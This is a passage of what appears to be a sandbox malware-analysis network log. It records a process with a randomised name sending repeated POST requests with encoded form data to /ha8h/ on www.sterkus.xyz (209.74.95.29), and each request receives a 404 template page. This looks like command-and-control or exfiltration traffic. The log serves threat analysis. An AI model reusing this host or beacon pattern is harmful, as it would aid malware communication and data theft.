                                                                                                                                                Nov 5, 2024 16:24:18.636292934 CET1236INData Raw: 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6e 61 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 4e 61 76 62 61 72 20 45 6e 64 20 2d 2d 3e 0d 0a 0d 0a 0d 0a 20 20 20 20 20
                                                                                                                                                Data Ascii: </div> </nav> </div> ... Navbar End --> ... Header Start --> <div class="container-fluid header bg-white p-0"> <div class="row g-0 align-items-center flex-column-reverse flex-
                                                                                                                                                Nov 5, 2024 16:24:18.636303902 CET212INData Raw: 70 78 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 20 67 2d 32 22 3e 0d
                                                                                                                                                Data Ascii: px;"> <div class="container"> <div class="row g-2"> <div class="col-md-10"> <div class="row g-2"> <div clas
                                                                                                                                                Nov 5, 2024 16:24:18.636977911 CET1236INData Raw: 73 3d 22 63 6f 6c 2d 6d 64 2d 34 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 63 6c 61 73 73 3d 22 66 6f 72 6d 2d 63 6f 6e 74
                                                                                                                                                Data Ascii: s="col-md-4"> <input type="text" class="form-control border-0 py-3" placeholder="Search Keyword"> </div> <div class="col-md-4">
                                                                                                                                                Nov 5, 2024 16:24:18.636990070 CET212INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 32 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                                                                Data Ascii: </div> <div class="col-md-2"> <button class="btn btn-dark border-0 w-100 py-3">Search</button> </div> </div>
                                                                                                                                                Nov 5, 2024 16:24:18.637370110 CET1236INData Raw: 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 53 65 61 72 63 68 20 45 6e 64 20 2d 2d 3e 0d 0a 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 34 30 34 20 53 74
                                                                                                                                                Data Ascii: </div> </div> ... Search End --> ... 404 Start --> <div class="container-xxl py-5 wow fadeInUp" data-wow-delay="0.1s"> <div class="container text-center"> <div class
                                                                                                                                                Nov 5, 2024 16:24:18.637381077 CET212INData Raw: 6d 62 2d 34 22 3e 47 65 74 20 49 6e 20 54 6f 75 63 68 3c 2f 68 35 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 6d 62 2d 32 22 3e 3c 69 20 63 6c 61 73 73 3d 22 66 61 20 66 61 2d 6d
                                                                                                                                                Data Ascii: mb-4">Get In Touch</h5> <p class="mb-2"><i class="fa fa-map-marker-alt me-3"></i>123 Street, New York, USA</p> <p class="mb-2"><i class="fa fa-phone-alt me-3"></i
                                                                                                                                                Nov 5, 2024 16:24:18.641177893 CET1236INData Raw: 3e 2b 30 31 32 20 33 34 35 20 36 37 38 39 30 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 6d 62 2d 32 22 3e 3c 69 20 63 6c 61 73 73 3d 22 66 61 20 66 61 2d 65 6e 76 65 6c
                                                                                                                                                Data Ascii: >+012 345 67890</p> <p class="mb-2"><i class="fa fa-envelope me-3"></i>info@example.com</p> <div class="d-flex pt-2"> <a class="btn btn-outline-light btn-social" hr


                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                14192.168.2.949987209.74.95.29805268C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe
                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                Nov 5, 2024 16:24:20.481837034 CET688OUTPOST /ha8h/ HTTP/1.1
                                                                                                                                                Accept: */*
                                                                                                                                                Accept-Encoding: gzip, deflate, br
                                                                                                                                                Accept-Language: en-US,en
                                                                                                                                                Connection: close
                                                                                                                                                Content-Type: application/x-www-form-urlencoded
                                                                                                                                                Content-Length: 219
                                                                                                                                                Cache-Control: no-cache
                                                                                                                                                Host: www.sterkus.xyz
                                                                                                                                                Origin: http://www.sterkus.xyz
                                                                                                                                                Referer: http://www.sterkus.xyz/ha8h/
                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                Data Raw: 37 36 79 70 35 62 3d 43 5a 5a 67 5a 38 77 52 47 7a 33 68 5a 4e 46 41 70 76 51 59 67 46 2b 76 61 50 45 64 58 4a 59 52 58 6f 34 34 62 66 4d 58 36 43 71 6f 69 74 35 35 7a 55 33 52 4b 41 76 48 4d 34 4f 35 72 69 68 34 67 72 52 69 47 39 36 6d 35 2b 4e 50 57 46 4f 43 4e 69 44 70 2f 77 59 65 30 7a 79 61 59 37 45 76 72 73 55 66 46 4c 41 47 33 54 46 6f 56 33 69 6e 56 52 4d 43 35 61 51 62 4a 72 36 79 36 58 44 35 54 6b 72 35 35 6a 79 32 64 69 53 72 56 45 4b 2f 5a 2b 59 69 46 6d 2f 4f 67 43 67 51 43 4a 78 47 72 74 74 61 79 79 76 48 4d 52 37 31 35 59 47 71 5a 49 5a 42 62 61 6b 6f 76 48 42 71 56 72 4b 47 73 58 51 34 64 6b 30 56 7a 4c 35 50 39 4f 46 33 67 51 3d 3d
                                                                                                                                                Data Ascii: 76yp5b=CZZgZ8wRGz3hZNFApvQYgF+vaPEdXJYRXo44bfMX6Cqoit55zU3RKAvHM4O5rih4grRiG96m5+NPWFOCNiDp/wYe0zyaY7EvrsUfFLAG3TFoV3inVRMC5aQbJr6y6XD5Tkr55jy2diSrVEK/Z+YiFm/OgCgQCJxGrttayyvHMR715YGqZIZBbakovHBqVrKGsXQ4dk0VzL5P9OF3gQ==
                                                                                                                                                Nov 5, 2024 16:24:21.155224085 CET1236INHTTP/1.1 404 Not Found
                                                                                                                                                Date: Tue, 05 Nov 2024 15:24:21 GMT
                                                                                                                                                Server: Apache
                                                                                                                                                Content-Length: 13928
                                                                                                                                                Connection: close
                                                                                                                                                Content-Type: text/html
                                                                                                                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 6b 61 61 6e 20 2d 20 52 65 61 6c 20 45 73 74 61 74 65 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 [TRUNCATED]
                                                                                                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <title>Makaan - Real Estate HTML Template</title> <meta content="width=device-width, initial-scale=1.0" name="viewport"> <meta content="" name="keywords"> <meta content="" name="description"> ... Favicon --> <link href="img/favicon.ico" rel="icon"> ... Google Web Fonts --> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Heebo:wght@400;500;600&family=Inter:wght@700;800&display=swap" rel="stylesheet"> ... Icon Font Stylesheet --> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css" rel="stylesheet"> <link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.4.1/font/bootstrap-icons.css" rel="stylesheet"> ... Libraries Stylesheet --> <link href="lib/animate/animate.min.css" [TRUNCATED]
                                                                                                                                                Nov 5, 2024 16:24:21.155431032 CET1236INData Raw: 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 43 75 73 74 6f 6d 69 7a 65 64 20 42 6f 6f 74 73 74 72 61 70 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65
                                                                                                                                                Data Ascii: " rel="stylesheet"> ... Customized Bootstrap Stylesheet --> <link href="css/bootstrap.min.css" rel="stylesheet"> ... Template Stylesheet --> <link href="css/style.css" rel="stylesheet"></head><body> <div cl
                                                                                                                                                Nov 5, 2024 16:24:21.155445099 CET1236INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 74 6f 67 67 6c 65 72 22 20 64 61
                                                                                                                                                Data Ascii: </a> <button type="button" class="navbar-toggler" data-bs-toggle="collapse" data-bs-target="#navbarCollapse"> <span class="navbar-toggler-icon"></span> </button>
                                                                                                                                                Nov 5, 2024 16:24:21.156327963 CET1236INData Raw: 22 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 20 61 63 74 69 76 65 22 20 64 61 74 61 2d 62 73 2d 74 6f 67 67 6c 65 3d 22 64 72 6f 70 64 6f 77 6e 22 3e 50 61 67 65 73 3c 2f 61 3e 0d 0a 20 20 20
                                                                                                                                                Data Ascii: " class="nav-link dropdown-toggle active" data-bs-toggle="dropdown">Pages</a> <div class="dropdown-menu rounded-0 m-0"> <a href="testimonial.html" class="dropdown-item">Testimonial<
                                                                                                                                                Nov 5, 2024 16:24:21.156342983 CET1236INData Raw: 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 62 72 65 61 64 63 72 75 6d 62 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 23 22 3e 50 61 67 65 73 3c 2f 61 3e 3c 2f
                                                                                                                                                Data Ascii: > <li class="breadcrumb-item"><a href="#">Pages</a></li> <li class="breadcrumb-item text-body active" aria-current="page">404 Error</li> </ol>
                                                                                                                                                Nov 5, 2024 16:24:21.156883955 CET1236INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 31 22 3e 50 72 6f 70 65 72 74 79 20 54 79 70 65 20 31 3c 2f 6f 70 74 69 6f 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                                                                Data Ascii: <option value="1">Property Type 1</option> <option value="2">Property Type 2</option> <option value="3">Property Type 3</option>
                                                                                                                                                Nov 5, 2024 16:24:21.156897068 CET1236INData Raw: 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 20 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 20 6a 75 73 74 69 66 79 2d 63
                                                                                                                                                Data Ascii: <div class="container text-center"> <div class="row justify-content-center"> <div class="col-lg-6"> <i class="bi bi-exclamation-triangle display-1 text-primary"></i>
                                                                                                                                                Nov 5, 2024 16:24:21.156907082 CET36INData Raw: 3e 3c 69 20 63 6c 61 73 73 3d 22 66 61 20 66 61 2d 70 68 6f 6e 65 2d 61 6c 74 20 6d 65 2d 33 22 3e 3c 2f 69
                                                                                                                                                Data Ascii: ><i class="fa fa-phone-alt me-3"></i
                                                                                                                                                Nov 5, 2024 16:24:21.157507896 CET1236INData Raw: 3e 2b 30 31 32 20 33 34 35 20 36 37 38 39 30 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 6d 62 2d 32 22 3e 3c 69 20 63 6c 61 73 73 3d 22 66 61 20 66 61 2d 65 6e 76 65 6c
                                                                                                                                                Data Ascii: >+012 345 67890</p> <p class="mb-2"><i class="fa fa-envelope me-3"></i>info@example.com</p> <div class="d-flex pt-2"> <a class="btn btn-outline-light btn-social" hr
                                                                                                                                                Nov 5, 2024 16:24:21.157520056 CET212INData Raw: 66 3d 22 22 3e 54 65 72 6d 73 20 26 20 43 6f 6e 64 69 74 69 6f 6e 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63
                                                                                                                                                Data Ascii: f="">Terms & Condition</a> </div> <div class="col-lg-3 col-md-6"> <h5 class="text-white mb-4">Photo Gallery</h5> <div cl
                                                                                                                                                Nov 5, 2024 16:24:21.160459042 CET1236INData Raw: 61 73 73 3d 22 72 6f 77 20 67 2d 32 20 70 74 2d 32 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 34 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                                                                Data Ascii: ass="row g-2 pt-2"> <div class="col-4"> <img class="img-fluid rounded bg-light p-1" src="img/property-1.jpg" alt=""> </div>


                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                15192.168.2.949988209.74.95.29805268C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe
                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                Nov 5, 2024 16:24:23.034611940 CET1701OUTPOST /ha8h/ HTTP/1.1
                                                                                                                                                Accept: */*
                                                                                                                                                Accept-Encoding: gzip, deflate, br
                                                                                                                                                Accept-Language: en-US,en
                                                                                                                                                Connection: close
                                                                                                                                                Content-Type: application/x-www-form-urlencoded
                                                                                                                                                Content-Length: 1231
                                                                                                                                                Cache-Control: no-cache
                                                                                                                                                Host: www.sterkus.xyz
                                                                                                                                                Origin: http://www.sterkus.xyz
                                                                                                                                                Referer: http://www.sterkus.xyz/ha8h/
                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                Data Raw: 37 36 79 70 35 62 3d 43 5a 5a 67 5a 38 77 52 47 7a 33 68 5a 4e 46 41 70 76 51 59 67 46 2b 76 61 50 45 64 58 4a 59 52 58 6f 34 34 62 66 4d 58 36 43 69 6f 69 2f 78 35 78 7a 72 52 4c 41 76 48 53 49 4f 34 72 69 68 70 67 6f 68 6d 47 39 33 64 35 38 31 50 58 6e 57 43 46 77 37 70 78 77 59 65 70 6a 79 62 46 4c 46 74 72 73 45 62 46 50 6b 47 33 54 46 6f 56 31 57 6e 63 67 4d 43 2b 71 51 55 4f 72 37 7a 73 6e 44 52 54 6b 79 45 35 6a 2f 4c 63 53 79 72 62 41 57 2f 4b 38 41 69 64 32 2f 4d 6c 43 67 2b 43 4a 39 5a 72 74 68 38 79 78 79 61 4d 51 50 31 36 75 76 32 44 72 64 65 46 35 63 70 71 58 78 31 52 39 65 55 72 6d 5a 46 44 33 59 79 76 35 41 37 2f 76 34 51 67 4a 37 53 41 59 4c 4e 69 64 36 43 67 33 77 71 4b 4e 6d 72 2f 68 64 57 71 54 71 47 42 68 50 33 72 66 4d 5a 75 55 73 71 69 6b 41 68 75 44 54 62 41 6f 32 72 77 44 4d 73 58 73 61 75 69 71 59 71 53 6b 34 2f 52 51 76 6b 57 42 6b 6e 58 4b 39 73 36 43 73 35 79 64 79 65 33 58 61 53 59 66 2b 55 65 50 66 32 75 56 6a 39 75 2f 38 55 37 33 59 55 65 5a 76 72 57 6f 46 46 69 57 64 [TRUNCATED]
                                                                                                                                                Data Ascii: 76yp5b=CZZgZ8wRGz3hZNFApvQYgF+vaPEdXJYRXo44bfMX6Cioi/x5xzrRLAvHSIO4rihpgohmG93d581PXnWCFw7pxwYepjybFLFtrsEbFPkG3TFoV1WncgMC+qQUOr7zsnDRTkyE5j/LcSyrbAW/K8Aid2/MlCg+CJ9Zrth8yxyaMQP16uv2DrdeF5cpqXx1R9eUrmZFD3Yyv5A7/v4QgJ7SAYLNid6Cg3wqKNmr/hdWqTqGBhP3rfMZuUsqikAhuDTbAo2rwDMsXsauiqYqSk4/RQvkWBknXK9s6Cs5ydye3XaSYf+UePf2uVj9u/8U73YUeZvrWoFFiWdFA2nTIzObKfST8xZ6wjDcUZjRxQRrRGDQoxdPfSgLtV/6tKxPqLaGVvY2fi/yEOBVvyViEqZi1pEbCEGZlQwTuL9LZp2W9MXXawIVcf18DEL/zD8O3FbK2T8W4jERZtaiOpneHjYqybhYRMcR7XWbq+oAf2xKQPqwqqJde/EPkH+stcg+wpZiouDwBoT+y6E5MvMKTbrZ/jMzbb61w+6mTcqzw8k54tIWcPbWhZx+C74YUdG4iWzneuD/ccRCp9met1jpLu/p6HBveic7aZWHA533IrnB2bJ1/HH0Yffzm+WkymY89FeoEa7q0ln0syoWYK5CcICgg5lEW7jUe2luf/+0zDY6Pwtd69wh6dcrD+b8CrSxxK4CbYgmnk95+s+QimBnutQOW9g26Za9B+EHgNe31wS7ARBGkRmJymvIxKDwXy1o+p2O94aqOoIgLRf7M6MgPO9wS5Hjksvky0tiljFHri1ST7twqluK6OwxzqhjPwGhhqj0rZKvXGymLGh0Z3jQ7lCjHWGtwUbpv3kF25ZosdO335g5mEjyTh8tcTPfMOw/rR7ThfKHe2XYf4UDQfaa/LUqXm74EFGM01LHmlA5svrtFB1KaJb4hJsbWlxqkXlU9bWffeMWNSTj5WPcclBZjRD6pk7a1TLtvJSkkMJ96xB8dv9zh [TRUNCATED]
                                                                                                                                                Nov 5, 2024 16:24:23.706655025 CET1236INHTTP/1.1 404 Not Found
                                                                                                                                                Date: Tue, 05 Nov 2024 15:24:23 GMT
                                                                                                                                                Server: Apache
                                                                                                                                                Content-Length: 13928
                                                                                                                                                Connection: close
                                                                                                                                                Content-Type: text/html
                                                                                                                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 6b 61 61 6e 20 2d 20 52 65 61 6c 20 45 73 74 61 74 65 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 [TRUNCATED]
                                                                                                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <title>Makaan - Real Estate HTML Template</title> <meta content="width=device-width, initial-scale=1.0" name="viewport"> <meta content="" name="keywords"> <meta content="" name="description"> ... Favicon --> <link href="img/favicon.ico" rel="icon"> ... Google Web Fonts --> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Heebo:wght@400;500;600&family=Inter:wght@700;800&display=swap" rel="stylesheet"> ... Icon Font Stylesheet --> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css" rel="stylesheet"> <link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.4.1/font/bootstrap-icons.css" rel="stylesheet"> ... Libraries Stylesheet --> <link href="lib/animate/animate.min.css" [TRUNCATED]
                                                                                                                                                Nov 5, 2024 16:24:23.706782103 CET1236INData Raw: 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 43 75 73 74 6f 6d 69 7a 65 64 20 42 6f 6f 74 73 74 72 61 70 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65
                                                                                                                                                Data Ascii: " rel="stylesheet"> ... Customized Bootstrap Stylesheet --> <link href="css/bootstrap.min.css" rel="stylesheet"> ... Template Stylesheet --> <link href="css/style.css" rel="stylesheet"></head><body> <div cl
                                                                                                                                                Nov 5, 2024 16:24:23.706798077 CET1236INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 74 6f 67 67 6c 65 72 22 20 64 61
                                                                                                                                                Data Ascii: </a> <button type="button" class="navbar-toggler" data-bs-toggle="collapse" data-bs-target="#navbarCollapse"> <span class="navbar-toggler-icon"></span> </button>
                                                                                                                                                Nov 5, 2024 16:24:23.707485914 CET1236INData Raw: 22 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 20 61 63 74 69 76 65 22 20 64 61 74 61 2d 62 73 2d 74 6f 67 67 6c 65 3d 22 64 72 6f 70 64 6f 77 6e 22 3e 50 61 67 65 73 3c 2f 61 3e 0d 0a 20 20 20
                                                                                                                                                Data Ascii: " class="nav-link dropdown-toggle active" data-bs-toggle="dropdown">Pages</a> <div class="dropdown-menu rounded-0 m-0"> <a href="testimonial.html" class="dropdown-item">Testimonial<
                                                                                                                                                Nov 5, 2024 16:24:23.707499981 CET848INData Raw: 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 62 72 65 61 64 63 72 75 6d 62 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 23 22 3e 50 61 67 65 73 3c 2f 61 3e 3c 2f
                                                                                                                                                Data Ascii: > <li class="breadcrumb-item"><a href="#">Pages</a></li> <li class="breadcrumb-item text-body active" aria-current="page">404 Error</li> </ol>
                                                                                                                                                Nov 5, 2024 16:24:23.708287001 CET1236INData Raw: 73 3d 22 63 6f 6c 2d 6d 64 2d 34 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 63 6c 61 73 73 3d 22 66 6f 72 6d 2d 63 6f 6e 74
                                                                                                                                                Data Ascii: s="col-md-4"> <input type="text" class="form-control border-0 py-3" placeholder="Search Keyword"> </div> <div class="col-md-4">
                                                                                                                                                Nov 5, 2024 16:24:23.708301067 CET1236INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 32 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                                                                Data Ascii: </div> <div class="col-md-2"> <button class="btn btn-dark border-0 w-100 py-3">Search</button> </div> </div> </div> </div>
                                                                                                                                                Nov 5, 2024 16:24:23.708313942 CET424INData Raw: 66 61 64 65 49 6e 22 20 64 61 74 61 2d 77 6f 77 2d 64 65 6c 61 79 3d 22 30 2e 31 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 20 70 79 2d 35 22 3e 0d 0a 20 20 20 20 20 20 20 20
                                                                                                                                                Data Ascii: fadeIn" data-wow-delay="0.1s"> <div class="container py-5"> <div class="row g-5"> <div class="col-lg-3 col-md-6"> <h5 class="text-white mb-4">Get In Touch</h5>
                                                                                                                                                Nov 5, 2024 16:24:23.709076881 CET1236INData Raw: 3e 2b 30 31 32 20 33 34 35 20 36 37 38 39 30 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 6d 62 2d 32 22 3e 3c 69 20 63 6c 61 73 73 3d 22 66 61 20 66 61 2d 65 6e 76 65 6c
                                                                                                                                                Data Ascii: >+012 345 67890</p> <p class="mb-2"><i class="fa fa-envelope me-3"></i>info@example.com</p> <div class="d-flex pt-2"> <a class="btn btn-outline-light btn-social" hr
                                                                                                                                                Nov 5, 2024 16:24:23.709091902 CET1236INData Raw: 66 3d 22 22 3e 54 65 72 6d 73 20 26 20 43 6f 6e 64 69 74 69 6f 6e 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63
                                                                                                                                                Data Ascii: f="">Terms & Condition</a> </div> <div class="col-lg-3 col-md-6"> <h5 class="text-white mb-4">Photo Gallery</h5> <div class="row g-2 pt-2">
                                                                                                                                                Nov 5, 2024 16:24:23.711733103 CET1236INData Raw: 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 34 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 63 6c 61 73 73 3d 22 69 6d 67 2d 66 6c 75 69 64 20 72 6f 75 6e 64 65 64
                                                                                                                                                Data Ascii: <div class="col-4"> <img class="img-fluid rounded bg-light p-1" src="img/property-6.jpg" alt=""> </div> </div> </div>


                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                16192.168.2.949989209.74.95.29805268C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe
                                                                                                                                                TimestampBytes transferredDirectionData
